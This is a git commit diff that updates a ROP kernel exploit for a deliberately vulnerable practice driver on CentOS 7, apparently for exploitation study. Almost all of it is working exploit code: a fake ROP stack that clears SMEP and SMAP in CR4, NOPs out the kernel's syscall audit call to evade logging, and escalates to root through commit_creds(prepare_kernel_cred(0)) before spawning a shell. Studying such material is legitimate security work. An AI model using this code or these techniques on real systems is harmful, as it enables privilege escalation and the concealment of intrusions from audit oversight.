centos7: bypass audit, SMEP, SMAP

This commit is contained in:
Andy 2016-09-04 11:03:15 +02:00
parent 29f751183f
commit 5564505b57
Signed by: arno
GPG Key ID: 368DDA2E9A471EAC
2 changed files with 117 additions and 30 deletions

View File

@ -3,6 +3,7 @@ obj-m += drv.o
CC=gcc
ccflags-y += "-g"
ccflags-y += "-O0"
ccflags-y += "-ggdb"
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

View File

@ -1,10 +1,18 @@
/**
/**
* ROP exploit for drv.c kernel module
*
* Tested in:
* Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core)
* qemu 2.5.0 / i7-4500U
*
* Compile:
* gcc rop_exploit.c -O2 -o rop_exploit
*
* Email: vnik@cyseclabs.com
* Vitaly Nikolenko
* Email: andrey.arapov@nixaid.com
* Andrey Arapov
*
* Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/
*/
#define _GNU_SOURCE
@ -32,7 +40,9 @@ static void save_state() {
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
: "=r" (user_cs),
"=r" (user_ss),
"=r" (user_rflags) : : "memory");
}
void shell(void) {
@ -58,44 +68,114 @@ int main(int argc, char *argv[])
return -1;
}
/*
* req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
*/
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
printf("array base address = 0x%lx\n", base_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
save_state();
/*
* allocate space in memory where the fake_stack will be stored.
*/
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
mapped = mmap((void*)mmap_addr, 0x20000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(mapped == (void*)mmap_addr);
temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(temp_stack == (void*)0x30000000);
save_state(); // this state will be used when returning back to user-space from kernel-space
// fake_stack begins here
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
*fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
/*
* In reality 0x14ff was 0x9d57:
* $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff
*
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2i 0xffffffff810e03d8
* 0xffffffff810e03d8: xchg %eax,%esp
* 0xffffffff810e03d9: retq $0x9d57
*/
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
// Update fake_stack's pointer
fake_stack = (unsigned long *)(stack_addr + 0x9d57 + 8);
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
/*
* Disable SMEP and SMAP (20 and 21st bit of CR4 respectively)
* CR4 should be => $CR4 % 0x300000
*
* $ cat 3.10.0-327.28.3.el7.x86_64.rop |grep -E ': pop rdi ; ret$|: mov cr4, rdi'
* 0xffffffff8100328d : mov cr4, rdi ; pop rbp ; ret
* 0xffffffff8107c2c4 : pop rdi ; ret
*
*/
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
/*
* Circumvent Linux Audit system.
* bypass syscall audit configuration without fully disabling Linux Audit system.
*
* /proc/kallsyms:
* ffffffff81646c0f t auditsys
* ffffffff8110b940 T __audit_syscall_entry
*
* $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e
* ffffffff81646c1b: 48 89 c7 mov %rax,%rdi
* ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry
* ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11
*/
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
*fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940)
*fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
/*
* To switch our process's owner to root, it is enough to execute:
* commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0))
*/
*fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret
*fake_stack ++= 0x0UL; // rdi is NULL
*fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct
*fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret
// *fake_stack ++= 0xffffffff810ac950UL; // commit_creds()
*fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0))
// safely return to user-space from the kernel-space
*fake_stack ++= 0xffffffff81058ef4UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81059856UL; // iretq
*fake_stack ++= (unsigned long)shell; // spawn a shell
*fake_stack ++= user_cs; // saved CS
*fake_stack ++= user_rflags; // saved EFLAGS
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
*fake_stack ++= user_ss; // saved SS
fd = open(DEVICE_PATH, O_RDONLY);
@ -103,7 +183,13 @@ int main(int argc, char *argv[])
perror("open");
}
/*
* trigger the vulnerable Linux kernel driver now,
* pointing to our fake_stack
*/
ioctl(fd, 0, &req);
return 0;
}
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4